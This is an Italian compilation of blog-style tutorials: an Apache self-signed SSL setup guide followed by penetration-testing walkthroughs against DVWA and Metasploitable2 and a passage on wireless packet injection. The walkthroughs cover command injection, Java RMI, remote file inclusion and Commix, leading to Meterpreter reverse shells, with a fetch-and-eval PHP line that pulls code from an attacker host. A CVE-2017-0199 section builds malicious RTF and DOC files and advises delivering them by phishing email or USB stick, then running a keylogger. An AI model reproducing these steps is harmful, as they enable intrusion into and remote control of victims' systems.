Devi già avere un server Apache in esecuzione sulla porta http 80 (o qualsiasi altra cosa) e quando provi ad accedere al tuo sito Web, ad esempio http://localhost/ dovresti avere la pagina ben nota.

1. Installa OpenSSL

Il primo passo è installare il pacchetto openssl digitando il seguente comando nel terminale.

Comando: sudo apt-get install openssl

Che installerà openssl e qualsiasi altro pacchetto da cui dipende.

2. Generare i certificati SSL autofirmati:

Il passaggio successivo consiste nel generare i certificati SSL autofirmati con l'aiuto del comando seguente.

Comando: sudo openssl req -x509 -nodes -days 1095 -newkey rsa:2048 -out /etc/ssl/certs/server.crt -keyout /etc/ssl/private/server.key

Ti consigliamo vivamente di utilizzare una forza 2048 o superiore poiché qualsiasi valore inferiore non è sicuro. Ti verranno poste molte domande durante la creazione del tuo CSR come il nome della contea, il nome dello stato o della provincia, il nome della località, il nome dell'organizzazione, il nome dell'unità organizzativa, il nome comune e l'indirizzo e-mail .

Ora hai avviato il processo per generare i seguenti due file:

Dopo aver compilato tutti i dettagli, verrà creato un nuovo file di estensione .csr.

3. Abilita SSL per Apache

Inoltre, devi anche abilitare il modulo SSL per Apache digitando il seguente comando:

Comando: sudo a2enmod ssl

4. Creazione di un collegamento simbolico

Successivamente, rendi disponibili i siti default-ssl creando il collegamento simbolico con il comando ln -s come mostrato di seguito:

Comando: sudo ln -s /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-enabled/000-default-ssl.conf

5. Modificare il file default-ssl.conf

Ora modifica il file default-ssl.conf con l'aiuto dell'utilità gedit e modifica le seguenti righe come mostrato di seguito.

SSLCertificateFile /etc/ssl/certs/server.crt
SSLCertificateKeyFile /etc/ssl/private/server.key

Comando: sudo nano /etc/apache2/sites-enabled/000-default-ssl.conf

6. Riavvia Apache

Al termine basterà riavviare il server apache digitando:

Comando: sudo /etc/init.d/apache2 restart

Tieni presente che vedrai un avviso nei loro browser (come quello qui sotto) quando ti connetti al sito localhost che utilizza un certificato autofirmato fino a quando non viene archiviato in modo permanente nel loro archivio certificati.

Nota: non dovresti mai utilizzare un certificato autofirmato su un sito di e-commerce o qualsiasi sito che trasferisce informazioni personali preziose come carte di credito, numeri di previdenza sociale, ecc.

Per evitare avvisi dal browser, è possibile aggiungere il certificato all'autorità di certificazione radice attendibile del computer. .

Se il sito Apache è pubblico, puoi utilizzare il nostro SSL Checker per verificare che sia installato correttamente (ignorando l'avviso che non è affidabile perché è autofirmato). Altrimenti, vai al sito Web nel tuo browser Web utilizzando https nella barra degli indirizzi (https://yourdomain.com) e verifica che il certificato venga emesso dal server facendo clic sull'icona del certificato (dopo aver fatto clic sugli avvisi) .

Ora puoi andare con il tuo browser preferito come Mozilla o Chrome, il browser ti avviserà perché è un certificato autofirmato, ma se lo accetti ora avrai lo stesso famoso "Funziona!" ma con crittografia.

Da Command Injection a Meterpreter Shell – Tutorial dettagliato        

       

Oltre a XSS e SQL Injection, esistono diverse tecniche di attacco contro un'applicazione web. In questo tutorial, sfrutteremo l' applicazione Web DVWA con Command Injection Attack.

Esistono così tante applicazioni Web vulnerabili in cui i giocatori devono individuare e sfruttare le vulnerabilità per progredire nella storia che contiene varie vulnerabilità come XSS, CSRF, SQLi, ReDoS, DOR, command injection e così via.

Ci sono un sacco di fonti dedicate all'insegnamento su come usare il Metasploit Framework. Nell'articolo, esamineremo come Metasploit viene utilizzato
per lo sfruttamento lato server per testare potenziali applicazioni web.

Che cos'è l'iniezione di comandi?

L'iniezione di comandi è un tipo di attacco in cui i comandi arbitrari del sistema operativo vengono eseguiti sull'host tramite un'applicazione Web vulnerabile (DVWA nel nostro caso). Di solito, ciò si verifica quando un'applicazione passa un input utente non sicuro da un modulo al server, ma può verificarsi anche con cookie, intestazioni HTTP e altre fonti di dati.

L'obiettivo finale dell'iniezione di comandi è eseguire i comandi arbitrari sul sistema operativo host tramite un comando vulnerabile. Questi tipi di attacchi sono così possibili in gran parte a causa di un'insufficiente convalida dell'input.

Configurazione dello sfruttamento –

Devi usare una macchina virtuale (con Kali Linux come macchina attaccante e Metasploitable2 che è una macchina vulnerabile). La prima cosa che dobbiamo fare è aprire DVWA e accedere utilizzando le credenziali predefinite (admin:password).

Successivamente, vai alla scheda " Sicurezza DVWA " e imposta il livello di sicurezza su " basso " per assicurarti che il nostro exploit venga eseguito senza intoppi quando siamo pronti.

Ora possiamo passare alla pagina " Esecuzione comandi " mostrata sul lato sinistro. Affinché questo attacco funzioni, dobbiamo assicurarci che l'applicazione bersaglio possa comunicare con la nostra macchina locale. Possiamo sfruttare la funzionalità predefinita di questa pagina per eseguire il ping della nostra macchina attaccante. Basta inserire l'indirizzo IP e premere " invia ".

In situazioni come questa, l'applicazione, che esegue comandi di sistema indesiderati, è come una pseudo shell di sistema e l'aggressore può utilizzarla
come utente di sistema autorizzato.

Si noti che i comandi vengono eseguiti con gli stessi privilegi dell'applicazione e/o del server web.

Come già detto, “ Gli attacchi di command injection sono possibili nella maggior parte dei casi a causa della mancanza di una corretta convalida dei dati di input, che possono essere manipolati dall'attaccante (moduli, cookie, intestazioni HTTP ecc.). "

Possiamo anche implementare più comandi contemporaneamente semplicemente usando il segno && . Per esempio:

Comando: <IP> && ls -l

Possiamo vedere che l'applicazione ha risposto con il contenuto della directory corrente in fondo, il che significa che esiste una vulnerabilità di command injection. Ne approfitteremo per lanciare il nostro script di consegna web in seguito.

Il primo passo è aprire una console e digitare msfconsole per avviare Metasploit Framework. È il modo più popolare per lanciare Metasploit. Fornisce un'interfaccia utente per accedere all'intero framework Metasploit. I comandi di base come help e show ti permetteranno di navigare attraverso Metasploit.

Nota: oltre ai comandi Metasploit, msfconsole ti consentirà di richiamare comandi del sistema operativo sottostanti come ping o nmap. Questo è utile perché consente a un utente malintenzionato di eseguire attività di routine senza lasciare la console.

Metasploit contiene un modulo utile che ospita un payload su un server creato sulla macchina attaccante. Lo script di consegna Web viene eseguito una volta che la macchina di destinazione si connette al server e il payload viene quindi eseguito. Questo modulo è versatile in quanto può essere indirizzato a vari linguaggi come applicazioni Python, Powershell e PHP.

Per usarlo, digita il seguente comando:

Comando: usa exploit/multi/script/web_delivery

Digita anche il comando " mostra opzioni " per visualizzare tutte le opzioni richieste.

Inoltre, è necessario selezionare il tipo TARGET appropriato, che nel nostro caso è PHP poiché puntiamo all'iniezione di comandi nell'applicazione Web basata su PHP.

Per visualizzare tutti i target disponibili, il comando è " mostra target ".

Esegui i seguenti comandi per un'ulteriore configurazione.

Comando: set TARGET 1
Comando: set payload php/meterpreter/reverse_tcp
Comando: set LHOST <Your Localhost IP>
Comando: set LPORT <Qualsiasi porta>
Comando: run

Qui abbiamo selezionato Target value come 1 a causa del payload PHP e il payload in questo caso è " php/meterpreter/reverse_tcp ".

Metasploit ha un payload PHP meterpreter. Con questo modulo, puoi anche creare una webshell PHP con funzionalità meterpreter. È quindi possibile caricare la shell sul server di destinazione utilizzando vulnerabilità come l'iniezione di comandi e il caricamento di file.

Non appena esegui  il comando run  , il server sulla nostra macchina locale si avvia e l'ultima riga è più importante perché questo è solo il payload o il comando finale che devi eseguire sul sistema di destinazione come mostrato di seguito:

Quindi copia l'ultima riga e aggiungila all'indirizzo IP con  && nella pagina di esecuzione del comando sotto l'applicazione DVWA.

Comando: <IP> && php -d allow_url_fopen=true -r “eval(file_get_contents('http://<IP>:8080/Uc5NSRg'));”

Se tutto va bene, otterrai correttamente la connessione inversa meterpreter nella tua finestra msfconsole.

Per visualizzare tutte le sessioni meterpreter, digitare " sessions -i " come mostrato di seguito e abbiamo utilizzato il seguente comando per interagire con l'ID sessione 1.

Comando: sessioni -i 1

Se avessimo più host compromessi, potremmo avere più sessioni meterpreter, interagire con loro, passare da uno all'altro o chiuderli singolarmente.

Ora avvieremo la procedura di test di penetrazione ed eseguiremo il primo passaggio iniziando a raccogliere informazioni sulla nostra macchina vittima. Digita sysinfo per controllare le informazioni di sistema.

Possiamo vedere le informazioni di sistema nello screenshot precedente, il nome del computer (Metasploitable) e il sistema operativo (Linux) utilizzato dalla vittima.

Proviamo alcune attività più interessanti nella nostra sessione Meterpreter. Digita " getuid " per verificare l'ID di sistema e il nome della macchina vittima.

Dopo aver giocato con la macchina della vittima, ora è il momento di fare cose serie. Accederemo alla shell di comando della vittima per controllare il suo sistema. Per questo, basta digitare shell e si aprirà un nuovo prompt dei comandi per te.

Sfruttamento JAVA RMI (Remote Method Invocation) con Metasploit Framework

       

Java Remote Method Invocation, o Java RMI, è un meccanismo che consente a un oggetto esistente in una macchina virtuale Java di accedere e chiamare metodi contenuti in un'altra macchina virtuale Java; Questa è fondamentalmente la stessa cosa di un RPC, ma in un paradigma orientato agli oggetti anziché procedurale, che consente la comunicazione tra programmi Java che non si trovano nello stesso spazio di indirizzi.

La vulnerabilità è dovuta alla configurazione predefinita del registro RMI e dei servizi di attivazione RMI che consentono il caricamento di classi da un URL remoto.

Il protocollo RMI utilizza altri due protocolli per il suo formato on-the-wire: Java Object Serialization e HTTP .

Passaggio 1: scoperta

Il primo passo è scansionare il target con Nmap, uno scanner di porte molto popolare .

Comando: nmap 192.168.73.130

192.168.73.130 è la nostra macchina target ( metasploitable2 ) dove il servizio Java RMI ( rmiregistry ) è in esecuzione sulla porta 1099 che puoi anche vedere su Nmap Output che è aperto nel nostro caso.

Metasploitable è una macchina virtuale Linux intenzionalmente vulnerabile che può essere ulteriormente utilizzata per condurre formazione sulla sicurezza, testare strumenti di sicurezza e praticare tecniche comuni di test di penetrazione.

Con Nmap Script Engine (NSE), puoi anche verificare la stessa vulnerabilità digitando il comando seguente:

Comando: nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130

Dove 192.168.73.130 è il nostro IP di destinazione in cui il servizio Java RMI è in esecuzione sulla porta 1099. Lo script NSE seguente verifica se Java rmiregistry consente il caricamento della classe. La configurazione predefinita di rmiregistry consente di caricare classi da URL remoti, il che può portare all'esecuzione di codice remoto.

Il fornitore (Oracle/Sun) lo classifica come una caratteristica di progettazione.

Dalla macchina Kali Linux, devi caricare Metasploit Framework digitando  msfconsole  come comando ed eseguire una ricerca per Java_RMI digitando il seguente comando:

Comando: cerca java_rmi

Qui nello screenshot sopra, puoi vedere che vari moduli relativi a Java RMI ma per la scansione, il modulo migliore è ausiliario/scanner/misc/java_rmi_server e per lo sfruttamento, il modulo migliore è exploit/multi/misc/java_rmi_server .

Per utilizzare il modulo di scansione, digitare il seguente comando seguito dal comando "mostra opzioni " come mostrato di seguito:

Comando: usa ausiliario/scanner/misc/java_rmi_server

Il prossimo passo è definire RHOST e RPORT usando i seguenti comandi:

Comando: set RHOSTS 192.168.73.130
Comando: set RPORT 1099
Comando: run

Passo #2 – Sfruttamento

Possiamo vedere che lo scanner ha rilevato un endpoint Java RMI sulla porta 1099 , il che suggerisce che la destinazione potrebbe essere vulnerabile.

Ora è il momento di sfruttare lo stesso suddetto servizio con il seguente modulo.

Comando: usa exploit/multi/misc/java_rmi_server

Digita anche " mostra opzioni " per vedere le varie opzioni relative a questo modulo.

Questo modulo ( java_rmi_server ) sfrutta la configurazione predefinita dei servizi RMI Registry e RMI Activation, che consentono di caricare classi da qualsiasi URL remoto (HTTP). Poiché richiama un metodo in RMI Distributed Garbage Collector che è disponibile tramite ogni endpoint RMI, può essere utilizzato sia contro rmiregistry che rmid e anche contro la maggior parte degli altri endpoint RMI (personalizzati).

Si noti che non funziona con le porte JMX (Java Management Extension) poiché non supportano il caricamento di classi remote, a meno che un altro endpoint RMI non sia attivo nello stesso processo Java. Le chiamate al metodo RMI non supportano né richiedono alcun tipo di autenticazione.

Ancora una volta, devi impostare il tuo obiettivo come RHOST e la porta 1099 come RHOST come mostrato di seguito:

Comando: imposta RHOST 192.168.73.130
Comando: imposta RPORT 1099

Dopodiché, devi anche impostare il Payload per la connessione shell TCP inversa.

Comando: set payload java/meterpreter/reverse_tcp

Per visualizzare tutti i payload disponibili, è possibile eseguire un comando " show payloads " e digitare " show options " per vedere tutte le opzioni disponibili relative al suddetto payload java.

Qui puoi vedere che manca LHOST poiché stiamo usando una shell inversa, dobbiamo specificare l'indirizzo di ascolto, quindi per impostare LHOST (il tuo IP), digita " set LHOST 192.168.73.128 " e per LPORT, puoi usare qualsiasi porta per esempio 4444 nel nostro caso.

Possiamo vedere che l'exploit ha avviato un gestore sul nostro sistema, ha inviato la chiamata al metodo RMI alla destinazione e che una sessione Meterpreter è stata aperta con successo.

Digita " sessions -i " per visualizzare tutte le sessioni meterpreter aperte e per connetterti con la sessione meterpreter attiva, il comando è " sessions -i <ID> "

Ora possiamo usare comandi come sysinfo, shell, getuid ecc., per vedere l'utente che Meterpreter sta eseguendo come sul target, e sysinfo, per visualizzare informazioni sul target.

Da RFI (Remote File Inclusion) a Meterpreter Shell

       

Per molti anni abbiamo partecipato a molti forum di programmazione e piattaforme di discussione. Forse uno dei maggiori problemi che vediamo è che le persone usano $_GET o un'altra variabile non filtrata all'interno di un'istruzione include, include_once, require o require_once che rappresenta un grave rischio per la sicurezza.

Uno dei tipi più pericolosi di vulnerabilità che possiamo trovare durante i test di penetrazione è Remote File Inclusion (RFI). RFI ci dà la possibilità di eseguire codice sul server Web nel contesto dell'utente che esegue il server Web. Con questo, possiamo generare shell, includere altro codice e, attraverso il post-sfruttamento, potenzialmente elevare i privilegi. Questo tipo di exploit porta spesso alla compromissione di altre risorse, poiché il server Web viene quindi sfruttato per attaccare altri host.

Diamo un'occhiata più da vicino a cos'è RFI, come avviene e come possiamo piegare un'applicazione vulnerabile alla nostra volontà.

Gli attacchi di inclusione di file remoti si verificano quando un utente malintenzionato estrae record da un'area remota sul tuo server. Quando utilizzi incorporazioni remote, un aggressore può comporre uno script PHP e ospitarlo su un server. Dopo quell'utilizzo è una strategia di considerazione remota per sfruttare le vulnerabilità di incorporazione sul tuo server.

Con un design PHP traballante, gli aggressori possono eseguire le informazioni nocive dai loro server, anche senza leggere o comporre consensi sul tuo server.

Nelle applicazioni PHP, ci sono in genere due problemi che portano a vulnerabilità RFI. Il primo è un errore logico nell'applicazione. Di solito, queste vulnerabilità sono dovute a file che dovrebbero essere inclusi come parte di un'altra pagina che include altri file. Quando questi file vengono eseguiti in modo indipendente, non esiste alcun file di configurazione per specificare i valori predefiniti per tali variabili e, se il server Web non è configurato correttamente, l'utente potrebbe essere in grado di specificarli come parte della richiesta.

Esempio: un programma PHP impotente contro la Remote File Inclusion (RFI)

<?php
$file = $_GET['file'];
include($file);
?>

Nel codice precedente, il parametro " file " viene preso dalla richiesta ed è un valore fornito dall'utente. Il codice prende il valore " file " e lo include direttamente nel file PHP attraverso il quale un utente malintenzionato potrebbe effettuare la richiesta di accompagnamento per intrappolare l'applicazione nell'esecuzione di uno script dannoso, ad esempio una webshell come in questo modo http://example . com/?file=http://attacker.com/shell.php .

Lo sfruttamento di RFI richiede che tu abbia una shell PHP caricata da qualche parte e accessibile da Internet. In questo articolo sfrutteremo una vulnerabilità RFI per ottenere una shell di comando sul sistema di destinazione, ad esempio sulla macchina Metasploitable2.

[#1] Impostazione dell'ambiente –

A scopo dimostrativo, stiamo utilizzando la macchina virtuale Metasploitable2 in cui è preinstallato DVWA (DAMN VULNERABLE WEB APPLICATION). La dannata applicazione Web vulnerabile, nota anche come applicazione Web DVWA, è intenzionalmente vulnerabile a diversi tipi di problemi di sicurezza delle applicazioni Web.

Affinché l'attacco RFI (Remote File Inclusion) abbia successo, assicurati che la tua sicurezza DVWA sia impostata su " bassa " e devi anche controllare un paio di impostazioni nel file php.ini.

Apri /etc/php5/cgi/php.ini e controlla sotto due opzioni che devono essere impostate su On.

L' opzione allow_url_fopen consente l'accesso ai file su host o server remoti, mentre l' opzione allow_url_include consente a un file remoto di utilizzare un URL anziché un percorso di file locale.

Non dimenticare di riavviare il server apache digitando " service apache2 restart " dopo aver modificato il file php.ini .

Di nuovo sulla macchina dell'attaccante, cioè Kali Linux il cui indirizzo IP è 192.168.73.128  (nel nostro caso), dove è necessario creare un file php di test (ad esempio       .php ) nella directory /var/www/html e riavviare il server apache come mostrato di seguito.

Per verificare se esiste una vulnerabilità RFI, possiamo semplicemente chiedere all'applicazione web in questione di recuperare il file che abbiamo creato nel passaggio precedente.

Vai alla pagina " File Inclusion " in DVWA e sostituisci la pagina richiesta con il percorso del nostro file di test, ad esempio       .php ospitato sulla macchina Kali ( http://192.168.73.128/      .php ).

Quando la pagina viene caricata, possiamo vedere il testo (      è qui) dal nostro file php, che indica che questa pagina è effettivamente vulnerabile alla vulnerabilità RFI.

[#2] Sfruttamento con Metasploit Framework –

Prima di iniziare il processo di sfruttamento, assicurati di annotare tutti i valori dei cookie, ad esempio PHPSESSID e il valore di sicurezza , in modo che possiamo passarlo all'interno del modulo metasploit.

In questo caso, il valore PHPSESSID è  bb68ea00e0a624f159c5ea12ad0a1176 e il valore di sicurezza è low .

Metasploit ha anche la capacità di sfruttare le vulnerabilità RFI e con Metasploit otteniamo la potenza dei payload Metasploit. La shell PHP Meterpreter ci consentirà di instradare il traffico, eseguire comandi di shell ed eseguire script Meterpreter nel contesto del server Web.

Per utilizzare il modulo exploit php_include , lanciamo msfconsole e digitiamo " use exploit/unix/webapp/php_include ".

Il modulo php_include è molto versatile in quanto può essere utilizzato contro qualsiasi numero di webapp vulnerabili e non è specifico del prodotto. Per utilizzare il modulo exploit di inclusione di file, avremo bisogno di conoscere il percorso esatto del sito vulnerabile che puoi vedere tutte le opzioni richieste digitando il comando "mostra opzioni " .

impostare i seguenti parametri:

set RHOST <Metasploitable2 machine IP>
set path /dvwa/vulnerabilities/fi
set phpuri /?page=XXpathXX
set HEADERS "<tutti i valori dei cookie>"

L'opzione più critica da impostare in questo particolare modulo è il percorso esatto del punto di inclusione vulnerabile in cui normalmente forniremmo l'URL alla nostra shell PHP, dobbiamo semplicemente inserire il testo XXpathXX e Metasploit saprà attaccare questo particolare punto sul luogo.

Per mostrare ulteriormente la versatilità di Metasploit, utilizzeremo il payload PHP Meterpreter e per vedere tutti i payload disponibili, il comando è " mostra payload ".

Per impostare il payload PHP, il comando è " set payload php/bind_php ".

Digita run per lanciare l'exploit che apre immediatamente una sessione di shell in cui puoi eseguire n numero di comandi unix come mostrato di seguito:

[#3] Prevenzione di RFI –

Per prevenire il possibile sfruttamento della vulnerabilità delle inclusioni di file remoti, dovresti sempre disabilitare la funzionalità di inclusione remota nella configurazione dei linguaggi di programmazione, soprattutto se non ne hai bisogno.

Insieme a, devi anche modificare il valore di allow_url_include su 0. Dovresti anche convalidare l'input dell'utente prima di passarlo a una funzione di inclusione.

Dall'esecuzione dei comandi a Meterpreter Reverse Shell con Commix

       

L'iniezione di comandi è un attacco in cui l'obiettivo è l'esecuzione di comandi arbitrari sul sistema operativo host tramite un'applicazione vulnerabile. Gli attacchi di command injection sono possibili quando un'applicazione passa dati non sicuri forniti dall'utente (moduli, cookie, intestazioni HTTP ecc.) a una shell di sistema.

Per dimostrare questo attacco, stiamo usando DVWA che è una delle applicazioni web vulnerabili più popolari. Lo scopo di DVWA è quello di praticare alcune delle più comuni vulnerabilità web, con vari livelli di difficoltà, con un'interfaccia semplice e diretta.

Lettura consigliata:  da RFI a Meterpreter Shell

Nel primo passaggio, accedi alla tua applicazione Web DVWA con le credenziali predefinite e vai alla pagina di esecuzione dei comandi come mostrato di seguito:

Nota: assicurati che la sicurezza sia impostata su bassa in modo che tutto funzioni senza problemi.

Utilizzando questa dannata applicazione Web vulnerabile (DVWA), è molto facile trovare e sfruttare una vulnerabilità di command injection in un determinato parametro o stringa vulnerabile.

Successivamente, è necessario copiare tutti i valori dell'ID cookie ( security,PHPSESSID ) in modo che dal browser premendo F12 per eseguire correttamente lo strumento COMMIX .

Quindi, nel nostro caso, i valori dell'ID cookie sono:

Lo scopo dell'attacco di command injection è inserire ed eseguire i comandi specificati dall'aggressore nell'applicazione vulnerabile.

Il passaggio successivo consiste nell'acquisire tutti i parametri POST in modo da poterli passare insieme al valore Cookie nello strumento Commix.

Di seguito faremo un semplice test di ping utilizzando l'interfaccia web attraverso la quale puoi vedere facilmente tutti i parametri POST nella scheda Rete oppure puoi trovare tutte queste informazioni anche con l'aiuto di Burp Suite intercettando la richiesta POST.

Quindi, in questo caso, ci sono due parametri POST, ip e submit, che passeremo ulteriormente con lo strumento commix.

Tornando alla macchina dell'attaccante, ad esempio la macchina Kali Linux, assicurati che lo strumento commix sia preinstallato al suo interno.

Qui abbiamo bisogno di sole 3 opzioni per sfruttare la vulnerabilità dell'esecuzione dei comandi con commix.

Comando:  commix -u http://192.168.73.130/dvwa/vulnerabilities/exec/ –cookie='PHPSESSID=bb68ea00e0a624f159c5ea12ad0a1176; security=low' –data='ip=127.0.0.1&submit=submit'

Questo strumento verrà avviato e visualizzerà un banner con alcune informazioni sulla versione.

Nell'output sopra, puoi vedere che, il parametro POST, ip è vulnerabile all'iniezione di comandi che lo strumento commix ci chiede ulteriormente se vogliamo una pseudo shell terminale.

Premi Y se desideri una shell di comando interattiva in cui puoi eseguire N numero di comandi come  whoami, id, uname -a ecc. come mostrato di seguito:

Inoltre, se vuoi sfruttare lo stesso con Metasploit Framework, devi prima generare un payload con l'aiuto di msfvenom, che è uno dei migliori generatori di payload disponibili nella stessa macchina Kali Linux.

Questo singolo strumento stesso può essere utilizzato per creare payload quasi in tutti i formati come PHP, Python, Ruby, EXE ecc.

Esegui il seguente comando per generare un payload PHP con codifica base64:

Comando: msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.73.128 lport=4444 -e php/base64 -f raw > shell.php

Ora possiamo vedere che il payload è stato creato con successo (shell.php) in formato base64, quindi devi solo aggiungere i tag PHP all'inizio e alla fine del file come mostrato di seguito:

Ora dobbiamo aprire un gestore sulla nostra macchina per catturare la sessione che verrà aperta sulla macchina di destinazione, ad esempio la macchina Metasploitable2 su cui è in esecuzione DVWA.

Eseguire i seguenti comandi all'interno di msfconsole.

usa exploit/multi/handler
imposta payload php/meterpreter/reverse_tcp
imposta LHOST 192.168.73.128
imposta LPORT 4444
esegui

Ora il tuo payload PHP è pronto che abbiamo generato con msfvenom.

Apri un nuovo terminale ed esegui il seguente comando che carica il payload shell.php nel tuo computer di destinazione.

Comando:  commix -u http://192.168.73.130/dvwa/vulnerabilities/exec/ –cookie='PHPSESSID=bb68ea00e0a624f159c5ea12ad0a1176; security=low' –data='ip=127.0.0.1&submit=submit' –file-write='/root/shell.php' –file-dest='/var/www/shell.php' –os-cmd= 'php -f /var/www/shell.php'

Dove,

–file-write è l'opzione per specificare il file che vogliamo usare sulla nostra macchina locale, l'opzione
–file-dest è per impostare la destinazione sulla macchina di destinazione, l'opzione
–os-cmd è per specificare il comando da eseguire una volta che il file è scritto sulla macchina di destinazione.

Dall'output sopra, sembra che il nostro payload sia stato caricato ed eseguito correttamente.

Ora torniamo al nostro terminale metasploit, possiamo vedere che una sessione meterpreter è stata effettivamente aperta.

Dove puoi eseguire vari comandi come getuid , shell , sysyinfo ecc. Per visualizzare maggiori informazioni sulla destinazione.

Cose da ricordare -

Per ulteriori informazioni sull'iniezione di comandi, dai un'occhiata alla pagina Iniezione di comandi OWASP .

[RCE] Sfruttamento di Microsoft Office/WordPad – CVE-  -0199 [Tutorial]

       

Esiste una vulnerabilità legata all'esecuzione di codice in modalità remota nel modo in cui Microsoft Office e WordPad analizzano file appositamente predisposti. Un utente malintenzionato che ha sfruttato con successo questa vulnerabilità potrebbe assumere il controllo di un sistema interessato.

Un utente malintenzionato potrebbe quindi installare programmi; visualizzare, modificare o eliminare i dati; o creare nuovi account con diritti utente completi. Lo sfruttamento di questa vulnerabilità richiede che un utente apra o visualizzi in anteprima un file appositamente predisposto con una versione interessata di Microsoft Office o WordPad.

Lettura consigliata:  sfruttare Windows con file MS-OFFICE dannosi [Metasploit Framework]

In uno scenario di attacco tramite posta elettronica, un utente malintenzionato potrebbe sfruttare la vulnerabilità inviando un file appositamente predisposto all'utente e quindi convincendolo ad aprire il file. L'aggiornamento risolve la vulnerabilità correggendo il modo in cui Microsoft Office e WordPad analizzano i file appositamente predisposti e abilitando la funzionalità API in Windows che Microsoft Office e WordPad utilizzeranno per risolvere il problema identificato.

L'IMPATTO DI TALI ATTACCHI NON DEVE ESSERE SOTTOVALUTATO.

Fondamentalmente, per sfruttare questa vulnerabilità, hai due modi:

[#1] Sfruttamento con Python Script –

Bhadresh ha fornito una buona spiegazione sulla sua pagina Github su questo exploit basato su Python. Il tuo primo passo è clonare questo repository digitando il seguente comando nel tuo terminale:

Comando: git clone https://github.com/bhdresh/CVE-  -0199

Per farti capire più facilmente questo script Python, digita " python cve-  -0199_toolkit.py -h " che ti offre un breve riepilogo delle opzioni integrate.

Il prossimo passo è creare un payload dannoso con l'aiuto di msfvenom come mostrato di seguito:

Comando: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=4444 -f hta-psh > report.hta

Lo scopo di una shell inversa è semplice: ottenere una shell. Questa è molto probabilmente la prima scelta di tutti. Sono disponibili molte diverse shell inverse e la più comunemente conosciuta e stabile è stata il payload windows/meterpreter/reverse_tcp .

Come puoi vedere, il file report.hta è stato creato con una dimensione di 6605 byte che puoi visualizzare ulteriormente il contenuto del file report.hta digitando il comando seguente:

Comando: cat report.hta

Il prossimo passo è avviare il gestore nella macchina dell'attaccante, ad esempio sulla macchina Kali Linux.

Questo è utile quando stai eseguendo una backdoor nel computer di una vittima e hai bisogno di riconnetterti per prendere il controllo.

Per avviare il metasploit, basta digitare " msfconsole ".

Ora esegui i seguenti comandi:

usa exploit/multi/handler
imposta payload windows/meterpreter/reverse_tcp
imposta LHOST 192.168.73.128
imposta LPORT 4444
esegui

Nel caso del gestore multiplo, anche il payload deve essere configurato e il gestore viene avviato utilizzando il comando exploit o run .

Nota: l'argomento -j assicura che il gestore venga eseguito come processo e non in primo piano.

Inoltre, devi anche spostare il tuo file report.hta nella directory CVE-  -0199 digitando " cp -rf report.hta CVE-201-0199 ".

Ora è il momento di eseguire lo script python codificato da Bhadresh che genera un nuovo file .rtf (rich text format).

Comando: python cve-  -0199_toolkit.py -M gen -t RTF -w       .rtf -u http://192.168.73.128:8000/report.hta

Dove,

L'opzione -M viene utilizzata per generare file dannosi,
l'opzione -t viene utilizzata per menzionare il tipo di file (RTF o PSX),
l'opzione -w viene utilizzata per scrivere il file e
l'opzione -u definisce il percorso di un file HTA/SCT che abbiamo generato sopra con msfvenom.

Ora devi anche avviare il server HTTP dalla stessa directory da cui hai generato il payload (       .rtf ) con l'aiuto di SimpleHTTPServer come mostrato di seguito:

Comando: python -m SimpleHTTPServer

Ora che il nostro ascoltatore è già in attesa di ricevere il suo payload dannoso (       .rtf ), dobbiamo consegnare questo payload alla vittima con qualsiasi mezzo (via chat o via email).

In effetti, questo tipo di file dannosi viene spesso utilizzato in ransomware e altre violazioni di alto profilo.

Ora abbiamo una shell meterpreter sul loro sistema tramite un file RTF dannoso.

Ovviamente ciò che sarebbe saggio a questo punto è spostare la shell su un processo diverso, così quando uccidono l'ufficio non perdiamo la nostra shell. Quindi ottenere informazioni sul sistema, avviare un key logger e continuare a sfruttare la rete.

E per ottenere la versione corrente dell'ufficio tramite shell, il comando è:

Comando: reg query "HKEY_CLASSES_ROOT\Word.Application\CurVer"

Allo stesso modo, puoi eseguire vari comandi meterpreter sul tuo computer di destinazione per ulteriori informazioni.

[#2] Con modulo Metasploit integrato –

Lo stesso può essere fatto anche con l'aiuto del modulo metasploit chiamato office_word_hta.

Apri msfconsole ed esegui il seguente comando:

Comando: usa exploit/windows/fileformat/office_word_hta

Ora dobbiamo configurare l'host del server (SRVHOST) che servirà il file HTA, FILENAME del nostro file appositamente predisposto, LHOST per il payload meterpreter come da screenshot qui sotto.

imposta NOMEFILE       -new.doc
imposta SRVHOST 192.168.73.128
imposta LHOST 192.168.73.128
imposta payload windows/meterpreter/reverse_tcp

Per avviare l'exploit, digita " esegui " nella console msf e premi invio.

Dovresti vedere qualcosa di simile a quello mostrato nella figura sottostante. Ora devi condividere questo file (      -new.doc) con la vittima per sfruttarla. Il file può essere condiviso in diversi modi, incluso l'invio di un'e-mail di phishing o la consegna alla vittima in una pen drive o forse tramite un qualsiasi sito Web di condivisione di file.

Una volta che la vittima apre il file nella versione interessata di Microsoft Office (MS Office 2016 nel nostro caso), la shell viene rilasciata sul suo sistema e viene creata una connessione inversa al sistema dell'attaccante come mostrato di seguito:

Esercitazione sul test dell'iniezione di pacchetti wireless

       

Se sei alla ricerca di un adattatore di rete wireless, ti sei sempre confuso su quale sia l'adattatore migliore.

Questo adattatore USB deve essere abbastanza compatto da stare in tasca o nel palmo della mano. Uno degli aspetti più convenienti dell'adattatore wireless USB è che deve supportare plug and play e dispone di funzionalità dual-band. Ciò significa che puoi connettere il tuo dispositivo alla banda da 2,4 o 5 GHz.

Quasi tutti gli adattatori USB implementano lo standard 802.11n, o wireless-n. Questa versione utilizza più antenne per ottenere velocità dati più elevate.

Per hackerare qualsiasi rete wireless utilizzando Kali Linux, è necessaria la scheda wireless per supportare la modalità monitor e l'iniezione di pacchetti. Non tutte le schede wireless possono farlo, quindi abbiamo realizzato un tutorial attraverso il quale puoi facilmente testare la capacità di iniezione di pacchetti. Fondamentalmente, il test di iniezione determina se la tua carta può iniettare con successo e determinare i tempi di risposta del ping al punto di accesso (AP).

Collega la scheda a uno dei sistemi operativi Kali Linux in esecuzione e avvialo. Una volta effettuato l'accesso, apri un terminale della console e digita  iwconfig .

Lo schermo dovrebbe apparire come segue:

Come puoi vedere, wlan0 è l'interfaccia wireless creata per l'adattatore wireless.

Ora digita lsusb -vv per maggiori informazioni sulla tua scheda wireless. lsusb è un'utilità per la visualizzazione di informazioni sui bus USB nel sistema e sui dispositivi ad essi collegati.

